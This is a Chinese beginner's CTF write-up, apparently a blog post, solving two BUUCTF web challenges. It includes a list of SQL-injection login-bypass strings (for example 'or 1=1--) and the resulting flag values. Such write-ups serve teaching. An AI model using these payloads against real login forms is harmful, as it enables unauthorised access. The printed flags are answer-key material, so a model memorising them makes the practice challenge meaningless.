[极客大挑战 2019]Havefun1、EasySQL(BUUCTF)

本文介绍了如何解决SQL注入问题,通过实例展示了利用万能密码获取flag的过程,并解析了一道Web安全题目,讲解了通过分析PHP代码获取flag的方法。适合初学者了解SQL注入和Web安全基础知识。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言:

这篇文章还是是为了帮助一些

像我这样的菜鸟

找到简单的题解

今天是2022年的最后一天,

这一年我居然写了72篇文章

获得5枚勋章 

还多了14个粉丝

好了不说了,上水题的题解

EasySQL题目描述

解题工具:

不需什么工具,如题名easy sql

解题过程:

输入框都有了注入点就不用说了

先提交

admin 123456

看到提示密码错误

又看到url,就可以直接注入了

user 框里输入1'发现报错

那这题就很简单了

直接输入万能密码获得flag

这里普及一下万能密码


"or "a"="a
')or('a'='a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or'a'='a
"or"="a'='a
'or''='
1'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 1=1
'OR 1=1%00

虽然有这么多种但目的都是一样的

注:万能密码中"#"是注释掉后半部分的意思


成功获得flag

flag{5a24fe63-f958-416b-898e-aa84b35a8469}

完成

Havefun题目描述

一只很可爱的猫

解题过程:

按下F12发现一段注释的PHP代码

$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
      echo 'Syc{cat_cat_cat_cat}';
}

 逐行分析一下


第一行

$cat=$_GET['cat'];

意思是get一个变量名字为cat

第二行

echo $cat;

意思是显示cat

第三行

if($cat=='dog'){

意思是判断cat是否等于字符串'dog'

最后一行

echo 'Syc{cat_cat_cat_cat}';

显示一堆奇奇怪怪的东西

但应该就是flag(因为看见了"{ }")


分析到此解法就很明确了,

get一个cat变量让他等于'dog'即可获得flag

 

成功获得flag

flag{abbab8c1-d399-415b-8e08-34752ecfb468}

完成

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值